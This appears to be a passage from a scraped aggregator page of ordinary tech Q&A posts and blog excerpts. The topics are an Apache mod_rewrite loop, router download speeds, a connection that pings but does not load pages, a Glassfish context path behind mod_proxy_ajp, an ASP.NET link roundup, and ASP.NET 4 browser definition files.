truly not ask, or re-post this question online if I had a better understanding of the issue. I know of people who have seen this issue, but don't know what causes it. I am wary that this question would again turn into another irrelevant discussion. Please, I ask very nicely: Please do not respond if you have not encountered a similar issue. FURTHER EDIT: Please do not suggest changing the product. The problem is not the blank line requirement. We know this fixes the issue. The problem is not being able to explain the reason for the blank line in the first place. Slight difference, but a critical point to note wrt the answering of this question.

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• mod_rewrite all but two files causing loop

  - by mpounsett

  I'm trying to set up a web site to allow the creation of a semaphore file to close the site. The logic I want to follow is: when the semaphore file exists and the request is not for /style.css or /favicon.icon show the content of /closed.html I have 1 and 3 working, but my exceptions for 2 result in a processing loop when style.css or favicon.ico are requested. This is my most recent attempt: RewriteEngine on RewriteCond %{REQUEST_URI} !^/style.css RewriteCond %{REQUEST_URI} !^/favicon.ico RewriteCond /usr/local/etc/site/closed -f RewriteRule ^.*$ /closed.html [L] This is in a VirtualHost block, not in a Directory. There is no .htaccess file in play. I have also recently tried this, based on an answer I found elsewhere, but with the same (looping) result: RewriteCond %{REQUEST_URI} ^/style.css [OR] RewriteCond %{REQUEST_URI} ^/favicon.ico RewriteRule ^.*$ - [L] RewriteCond /usr/local/etc/site/closed -f RewriteRule ^.*$ /closed.html [L] I expect a request for /style.css or /favicon.ico to fail to match one of the first two rewrite conditions, which should prevent the URI from being rewritten, which should stop the mod_rewrite iteration. However, mod_rewrite seems to think the URI has been rewritten in those cases, and iterates over the rules again (and again, and again). The above works properly in all cases except for style.css or favicon.ico. In those cases I exceed the loop limits. What am I missing here to cause the rewrite iteration to stop when someone requests style.css or favicon.ico? EDIT: Here's a loglevel 9 example of what happens using the first ruleset when a request arrives for /style.css. This is just the first two iterations.. it continues to loop identically until the limit is reached. 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1db0a0/initial] (2) init rewrite engine with requested uri /style.css 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1db0a0/initial] (3) applying pattern '^.*$' to uri '/style.css' 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1db0a0/initial] (4) RewriteCond: input='/style.css' pattern='!^/style.css' => not-matched 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1db0a0/initial] (1) pass through /style.css 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1dd0a0/initial] (2) init rewrite engine with requested uri /style.css 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1dd0a0/initial] (3) applying pattern '^.*$' to uri '/style.css' 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1dd0a0/initial] (4) RewriteCond: input='/style.css' pattern='!^/style.css' => not-matched 2001:4900:1044:0:145f:826e:6436:dc1 - - [29/May/2014:15:29:26 +0000] [host.example/sid#80c1c48b0][rid#80c1dd0a0/initial] (1) pass through /style.css

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• How can I minimize the amount my router slows down my Internet connection speed?

  - by Lord Torgamus

  Background I'm working with what I assume is a pretty common Internet setup: a cable modem, a wireless router and a few Internet-connected devices. Lately, I've started being more demanding on my Internet connection, and noticed that using my router slows down my download speeds considerably. I just kind of dealt with it until Zune Marketplace on the Xbox 360 told me that a movie was going to take well over ten hours to download, and I just didn't want to wait that long. Good little scientist that I am, I tried to reduce the problem down to one variable. The test As a control, I turned off all the devices in the house that use wireless Internet, and unplugged all the wired devices except for the Xbox. I also power-cycled both the modem and the router. I then tried to download the movie again, and was told that it would still take over ten hours. Next, I unplugged the router, and connected the Xbox directly to the modem. The movie downloaded in just over one hour. As far as I can tell, this means that my ISP, other cable users near me, the remote servers, anything wireless-related and my machines' disk speeds can't be at fault. A similar experiment that replaced the Xbox with a wired laptop produced similar results. To me, this says "the router is responsible for things taking around ten times longer to download." My question I'd still prefer to use the router for a few reasons: it's a pain to connect and disconnect everything every time there's a big file to download direct connection to the modem isn't good for security only one machine can be connected directly to the modem at a time What can I do to have fast connection speeds while still using the router? I don't mind turning other machines off, as long as I don't have to mess with power and ethernet cables. EDIT : After asking this followup question and then this one, I installed dd-wrt on my router, and I seem to be getting higher and more consistent speeds. Perhaps more importantly, my memory use is fairly constant. I know this isn't an answer — which is why I'm not posting it as an answer — but it is how I resolved the situation, and hopefully it'll be helpful for someone.

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• Internet Pings but Does Not Load

  - by t3techcom18

  From what I've been seeing and been doing my research for the past two days, many people have been having the same issues throughout the years, however, this is the first time I've encountered this issue and many of the specific workarounds or fixes have not worked for me. I've been trying to work through this for 24 hours straight now, but to no avail so many thanks to those that can help. On Monday night, got home from work; surfing the internet for half an hour, everything was fine as always. Just after half an hour, my Internet got very sluggish and then it died completely. I thought it might have been the an update I just put through in terms of Windows Update that said was a critical update for MSE, as the same thing happened a few years ago. I did a System Restore to two different dates that were in the past two weeks, nothing. Uninstalled MSE and disabled Windows Defender and the Windows Firewall: Nothing. Reset IE Options, Reset Winsock, Dumping DNS, many of the other command prompt screens to reset items: Nothing. Reset the modem: Nothing. What DID work, however, was a ping test to Yahoo. The ping test worked, saying all four packets was recieved, yet nothing else popped up. LAN and CenturyLink said everything worked on their end and that everything was connected properly, as well as the speeds working fine. CenturyLink said in their notes that they thought Port 80 was blocked. I went and put in the Firewall to allow Port 80 but it didn't make any difference whatsoever. I remembered I had a spare modem laying around and I switched them up, both modem and the cords - nothing. I then hooked it up to my netbook to see if that would work, as it usually does - connection didn't work there either. Like I said, it's been about 24 hours now and this is increasingly frustrating, as I've tried all solutions (While browsing through 10 search results pages on my phone) suggested and still nothing. Any suggestions and tricks would be greatly appreciated! Here's my specs: Windows 7 32-bit Home Premium Intel Core 2 Duo 3.14 Ghz 4 GB Kingston DDR2 RAM eVGA nForce 750i SLI eVGA GeForce GTX 560 Ti FPB ISP: CenturyLink No router Modem: CenturyLink 660 Series Hardwired connection PLEASE NOTE: This is the only computer I have (Like I said, the netbook solution didn't work), so downloading programs and such is not an option til I get to other computers somewhere else, like right now. Unless someone knows of a way of copying/pasting a file in Windows and then transferring said info to an Android smartphone, this is gunna take a while haha. Patience is requested.

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• Glassfish JSF/EAR Apache 2.2 proxy_ajp_mod Referred Content Missing (images/links/etc)

  - by BillR

  Full disclosure: Since this seems to be more of a configuration issue, I deleted this from Stack (where it wasn't getting any response) and reposted here. The problem is how to change the requestContextPath served up by Glassfish behind mod_proxy_ajp. The site/app runs fine if connecting directly to Glassfish port 8080 which is ultimately not what I want to do. So I need help with configuration for my servers and jsf deployment. I can see the issue but don't know how to resolve it. It has to do with the requestContextPath. Simply put, Apache directs to http://mysite.com/welcome.xhtml which is correct and what I want, but the page is minus the images and styles. The issue is Glassfish itself is still pointing to http://mysite.com/myapp/*. So all links it serves in the app/site still refer via the requestContextPath. That is the /myapp/* part of http://mysite.com/myapp/welcome.xhtml. When I look in the page source, images which are referred to with relative links still point to the requestContextPath (that is, /myapp/). This is fixable but a real pain. However with page links I can't set the relative path. If I hover over the contact page link I see http://mysite.com/myapp/contact.xhtml, and if I click it, I get 404. You can see the /myapp/ context path in the page source as well. If I type in the URL http://mysite.com/contact.xhtml I get the page minus its referred links (requestContextPath). On Apache ProxyPass / ajp://littlewalterserver:8009/myapp-web/ ProxyPassReverse / ajp://littlewalterserver:8009/myapp_Project-web On Glassfish asadmin create-network-listener --listenerport 8009 --protocol http-listener-1 --jkenabled true jk-connector I have tried going in to Glassfish and setting the web app as the default web app. I have changed the / in glassfish-web.xml (and checked to make sure it was the same in the EAR file). How can I get Glassfish to not include the /myapp/ context in the URLs? This has to be easy if you know how, but I don't know how, can someone help out here? Thanks.

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• May 20th Links: ASP.NET MVC, ASP.NET, .NET 4, VS 2010, Silverlight

  - by ScottGu

  Here is the latest in my link-listing series.  Also check out my VS 2010 and .NET 4 series and ASP.NET MVC 2 series for other on-going blog series I’m working on. [In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu] ASP.NET MVC How to Localize an ASP.NET MVC Application: Michael Ceranski has a good blog post that describes how to localize ASP.NET MVC 2 applications. ASP.NET MVC with jTemplates Part 1 and Part 2: Steve Gentile has a nice two-part set of blog posts that demonstrate how to use the jTemplate and DataTable jQuery libraries to implement client-side data binding with ASP.NET MVC. CascadingDropDown jQuery Plugin for ASP.NET MVC: Raj Kaimal has a nice blog post that demonstrates how to implement a dynamically constructed cascading dropdownlist on the client using jQuery and ASP.NET MVC. How to Configure VS 2010 Code Coverage for ASP.NET MVC Unit Tests: Visual Studio enables you to calculate the “code coverage” of your unit tests.  This measures the percentage of code within your application that is exercised by your tests – and can give you a sense of how much test coverage you have.  Gunnar Peipman demonstrates how to configure this for ASP.NET MVC projects. Shrinkr URL Shortening Service Sample: A nice open source application and code sample built by Kazi Manzur that demonstrates how to implement a URL Shortening Services (like bit.ly) using ASP.NET MVC 2 and EF4.  More details here. Creating RSS Feeds in ASP.NET MVC: Damien Guard has a nice post that describes a cool new “FeedResult” class he created that makes it easy to publish and expose RSS feeds from within ASP.NET MVC sites. NoSQL with MongoDB, NoRM and ASP.NET MVC Part 1 and Part 2: Nice two-part blog series by Shiju Varghese on how to use MongoDB (a document database) with ASP.NET MVC.  If you are interested in document databases also make sure to check out the Raven DB project from Ayende. Using the FCKEditor with ASP.NET MVC: Quick blog post that describes how to use FCKEditor – an open source HTML Text Editor – with ASP.NET MVC. ASP.NET Replace Html.Encode Calls with the New HTML Encoding Syntax: Phil Haack has a good blog post that describes a useful way to quickly update your ASP.NET pages and ASP.NET MVC views to use the new <%: %> encoding syntax in ASP.NET 4.  I blogged about the new <%: %> syntax – it provides an easy and concise way to HTML encode content. Integrating Twitter into an ASP.NET Website using OAuth: Scott Mitchell has a nice article that describes how to take advantage of Twiter within an ASP.NET Website using the OAuth protocol – which is a simple, secure protocol for granting API access. Creating an ASP.NET report using VS 2010 Part 1, Part 2, and Part 3: Raj Kaimal has a nice three part set of blog posts that detail how to use SQL Server Reporting Services, ASP.NET 4 and VS 2010 to create a dynamic reporting solution. Three Hidden Extensibility Gems in ASP.NET 4: Phil Haack blogs about three obscure but useful extensibility points enabled with ASP.NET 4. .NET 4 Entity Framework 4 Video Series: Julie Lerman has a nice, free, 7-part video series on MSDN that walks through how to use the new EF4 capabilities with VS 2010 and .NET 4.  I’ll be covering EF4 in a blog series that I’m going to start shortly as well. Getting Lazy with System.Lazy: System.Lazy and System.Lazy<T> are new features in .NET 4 that provide a way to create objects that may need to perform time consuming operations and defer the execution of the operation until it is needed.  Derik Whittaker has a nice write-up that describes how to use it. LINQ to Twitter: Nifty open source library on Codeplex that enables you to use LINQ syntax to query Twitter. Visual Studio 2010 Using Intellitrace in VS 2010: Chris Koenig has a nice 10 minute video that demonstrates how to use the new Intellitrace features of VS 2010 to enable DVR playback of your debug sessions. Make the VS 2010 IDE Colors look like VS 2008: Scott Hanselman has a nice blog post that covers the Visual Studio Color Theme Editor extension – which allows you to customize the VS 2010 IDE however you want. How to understand your code using Dependency Graphs, Sequence Diagrams, and the Architecture Explorer: Jennifer Marsman has a nice blog post describes how to take advantage of some of the new architecture features within VS 2010 to quickly analyze applications and legacy code-bases. How to maintain control of your code using Layer Diagrams: Another great blog post by Jennifer Marsman that demonstrates how to setup a “layer diagram” within VS 2010 to enforce clean layering within your applications.  This enables you to enforce a compiler error if someone inadvertently violates a layer design rule. Collapse Selection in Solution Explorer Extension: Useful VS 2010 extension that enables you to quickly collapse “child nodes” within the Visual Studio Solution Explorer.  If you have deeply nested project structures this extension is useful. Silverlight and Windows Phone 7 Building a Simple Windows Phone 7 Application: A nice tutorial blog post that demonstrates how to take advantage of Expression Blend to create an animated Windows Phone 7 application. If you haven’t checked out my Windows Phone 7 Twitter Tutorial I also recommend reading that. Hope this helps, Scott P.S. If you haven’t already, check out this month’s "Find a Hoster” page on the www.asp.net website to learn about great (and very inexpensive) ASP.NET hosting offers.

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• Use ASP.NET 4 Browser Definitions with ASP.NET 3.5

  - by Stephen Walther

  We updated the browser definitions files included with ASP.NET 4 to include information on recent browsers and devices such as Google Chrome and the iPhone. You can use these browser definition files with earlier versions of ASP.NET such as ASP.NET 3.5. The updated browser definition files, and instructions for installing them, can be found here: http://aspnet.codeplex.com/releases/view/41420 The changes in the browser definition files can cause backwards compatibility issues when you upgrade an ASP.NET 3.5 web application to ASP.NET 4. If you encounter compatibility issues, you can install the old browser definition files in your ASP.NET 4 application. The old browser definition files are included in the download file referenced above. What’s New in the ASP.NET 4 Browser Definition Files The complete set of browsers supported by the new ASP.NET 4 browser definition files is represented by the following figure:     If you look carefully at the figure, you’ll notice that we added browser definitions for several types of recent browsers such as Internet Explorer 8, Firefox 3.5, Google Chrome, Opera 10, and Safari 4. Furthermore, notice that we now include browser definitions for several of the most popular mobile devices: BlackBerry, IPhone, IPod, and Windows Mobile (IEMobile). The mobile devices appear in the figure with a purple background color. To improve performance, we removed a whole lot of outdated browser definitions for old cell phones and mobile devices. We also cleaned up the information contained in the browser files. Here are some of the browser features that you can detect: Are you a mobile device? <%=Request.Browser.IsMobileDevice %> Are you an IPhone? <%=Request.Browser.MobileDeviceModel == "IPhone" %> What version of JavaScript do you support? <%=Request.Browser["javascriptversion"] %> What layout engine do you use? <%=Request.Browser["layoutEngine"] %>   Here’s what you would get if you displayed the value of these properties using Internet Explorer 8: Here’s what you get when you use Google Chrome: Testing Browser Settings When working with browser definition files, it is useful to have some way to test the capability information returned when you request a page with different browsers. You can use the following method to return the HttpBrowserCapabilities the corresponds to a particular user agent string and set of browser headers: public HttpBrowserCapabilities GetBrowserCapabilities(string userAgent, NameValueCollection headers) { HttpBrowserCapabilities browserCaps = new HttpBrowserCapabilities(); Hashtable hashtable = new Hashtable(180, StringComparer.OrdinalIgnoreCase); hashtable[string.Empty] = userAgent; // The actual method uses client target browserCaps.Capabilities = hashtable; var capsFactory = new System.Web.Configuration.BrowserCapabilitiesFactory(); capsFactory.ConfigureBrowserCapabilities(headers, browserCaps); capsFactory.ConfigureCustomCapabilities(headers, browserCaps); return browserCaps; } At the end of this blog entry, there is a link to download a simple Visual Studio 2008 project – named Browser Definition Test -- that uses this method to display capability information for arbitrary user agent strings. For example, if you enter the user agent string for an iPhone then you get the results in the following figure: The Browser Definition Test application enables you to submit a user-agent string and display a table of browser capabilities information. The browser definition files contain sample user-agent strings for each browser definition. I got the iPhone user-agent string from the comments in the iphone.browser file. Enumerating Browser Definitions Someone asked in the comments whether or not there is a way to enumerate all of the browser definitions. You can do this if you ware willing to use a little reflection and read a private property. The browser definition files in the config\browsers folder get parsed into a class named BrowserCapabilitesFactory. After you run the aspnet_regbrowsers tool, you can see the source for this class in the config\browser folder by opening a file named BrowserCapsFactory.cs. The BrowserCapabilitiesFactoryBase class has a protected property named BrowserElements that represents a Hashtable of all of the browser definitions. Here's how you can read this protected property and display the ID for all of the browser definitions: var propInfo = typeof(BrowserCapabilitiesFactory).GetProperty("BrowserElements", BindingFlags.NonPublic | BindingFlags.Instance); Hashtable browserDefinitions = (Hashtable)propInfo.GetValue(new BrowserCapabilitiesFactory(), null); foreach (var key in browserDefinitions.Keys) { Response.Write("" + key); } If you run this code using Visual Studio 2008 then you get the following results: You get a huge number of outdated browsers and devices. In all, 449 browser definitions are listed. If you run this code using Visual Studio 2010 then you get the following results: In the case of Visual Studio 2010, all the old browsers and devices have been removed and you get only 19 browser definitions. Conclusion The updated browser definition files included in ASP.NET 4 provide more accurate information for recent browsers and devices. If you would like to test the new browser definitions with different user-agent strings then I recommend that you download the Browser Definition Test project: Browser Definition Test Project

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